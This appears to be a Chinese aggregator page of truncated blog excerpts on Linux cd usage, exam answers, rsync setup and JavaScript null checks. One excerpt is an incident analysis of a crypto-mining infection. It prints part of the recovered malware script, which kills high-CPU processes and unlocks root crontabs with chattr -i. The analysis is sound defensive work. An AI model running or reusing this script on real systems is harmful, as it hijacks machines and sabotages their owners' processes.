tmp

2.7-cd命令

▼魔方 西西 提交于 2019-11-26 03:46:34
cd (change directory) Linux cd命令用于切换当前工作目录至 dirName(目录参数)。 其中 dirName 表示法可为绝对路径或相对路径。若目录名称省略,则变换至使用者的 home 目录 (也就是刚 login 时所在的目录)。 cd – 上一次所在的目录(来回交替) cd 进入到当前目录的家目录下 cd ~ ~就是root,就是用户的家目录 cd .. 进入到上一级目录 cd – 上一次所在的目录(来回交替) [root@evan-01 ~]# pwd /root [root@evan-01 ~]# cd /tmp [root@evan-01 tmp]# pwd /tmp [root@evan-01 tmp]# cd - /root [root@evan-01 ~]# cd - /tmp [root@evan-01 tmp]# cd - /root [root@evan-01 ~]# cd - /tmp [root@evan-01 tmp]# cd 进入到当前目录的家目录下 用户登录进来在哪儿就进入到哪儿 [root@evan-01 tmp]# pwd /tmp [root@evan-01 tmp]# cd [root@evan-01 ~]# pwd /root [root@evan-01 ~]# cd ~ , ~代表的就是root

试题解析

淺唱寂寞╮ 提交于 2019-11-26 03:22:41
第1章 基础知识及命令 1.1 请详细描述ins系统从打开主机电源到进入登录界面整个过程的流程。 *1. 开机自检(BIOS) MBR引导开机 GRBU菜单 加载内核 INIT进程 读取/etc/inittab 配置文件 执行/etc/rc.d/rc.sysconf 执行/etc./re.d/rc. 启动mingetty 进入登录界面* 1.2 我想在daoldboyedu目录下面创建个 oldboy 文件 [root@ oldboyedu ~# cd /data/oldboyedu -bash: cd: dataoldboyedu No such file or drectory 1.为何出现这样的错误 没有/data/oldboyedu这个目录 2.如何解决这个错误呢? #mkdir -p /data/oldboyedu 1.3 接上题,向oldboy .tst加入内容"I love studying Linux." (不少于2种方法) 方法一、 #cat >>/data/oldboyedu/oldboy,txt<<EOF 编辑I love studying Linux. EOF 按回车,结束编辑。 方法二、 #echo " I love studying Linux." >>/data/oldboyedu/oldboy.txt 方法三、 使用vi或者vim 进入编辑I

Linux下rsync的安装及简单使用

天涯浪子 提交于 2019-11-25 22:45:14
一、RSYNC安装 环境: centos6.5 iptables关闭和selinux为disabled 源码安装: 到rsync官网下载rsync源码安装包,上传到服务器上,或者wget下载。解压rsync源码安装包 进入解压后的目录,执行 ./configure --prefix=/usr/local/rsync 编译配置完成后,执行 make && make install 进入安装目录下的/bin目录。执行 ./rsync -h 完成源码安装 设置rsync开机自启,在/etc/rc.local文件追加 将rsync加入环境变量 重新加载环境变量 source /etc/profile rsync启动时会加载/etc/rsync.conf配置文件,默认状态没有,新建/etc/rsync.conf配置文件 还有一个比较重要的配置文件/etc/rsync.password配置文件,依旧需要自己新建 启动rsync,查看rsync服务端口873端口 rsync --daemon 启动成功 关闭rsync服务 pkill rsync yum源安装: yum源安装比较简单,只需yum安装rsync和xinetd yum -y install rsync yum -y install xinetd 修改配置文件/etc/xinetd.d/rsync,注意把disable改为no 进入

一个挖矿脚本

半世苍凉 提交于 2019-11-25 20:16:51
遇到一台机器偶尔cpu使用率达到80%,触发告警。登录查看后一个sshd2程序导致cpu负载高 仔细查看就知道和sshd是两个完全不同的进程,取名sshd2应该只是为了迷惑用户 ps -ef 查看到父进程是一个/tmp/javax/config.sh, 这个文件在当前系统已经删除了,所以只能按照pid号通过lsof -p PID查看打开的文件句柄 在/proc/PID/fd里面顺利找到执行脚本 #!/bin/sh export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin while [ 1 ] do p=$(ps auxf|grep -v grep|grep sshd2|wc -l) if [ ${p} -eq 0 ]; then ps auxf|grep -v grep | awk '{if($3>=80.0) print $2}'| xargs kill -9 fi chattr -i /var/spool/cron/root chattr -i /var/spool/cron/crontabs/root chattr -i /usr/local/bin/dns pkill 6Tx3Wq rm -f /tmp/6Tx3Wq killall -9 38c985b26d38da0cbcc9f8ae3527e8e3b

JS中判断null、undefined与NaN的方法

*爱你&永不变心* 提交于 2019-11-25 16:56:18
1.判断undefined: var tmp = undefined; if ( typeof (tmp) == "undefined" ){ console.log( "undefined" ); } 说明:typeof 返回的是字符串,有六种可能:"number"、"string"、"boolean"、"object"、"function"、"undefined" 2.判断null: var tmp = null ; if (!tmp && typeof (tmp)!= "undefined" && tmp!=0){ console.log( "null" ); } 3.判断NaN: var tmp = 0/0; if (isNaN(tmp)){ console.log( "NaN" ); } 说明:如果把 NaN 与任何值(包括其自身)相比得到的结果均是 false,所以要判断某个值是否是 NaN,不能使用 == 或 === 运算符。 提示:isNaN() 函数通常用于检测 parseFloat() 和 parseInt() 的结果,以判断它们表示的是否是合法的数字。当然也可以用 isNaN() 函数来检测算数错误,比如用 0 作除数的情况。 4.判断undefined和null的关系: var tmp = undefined; if (tmp == undefined) {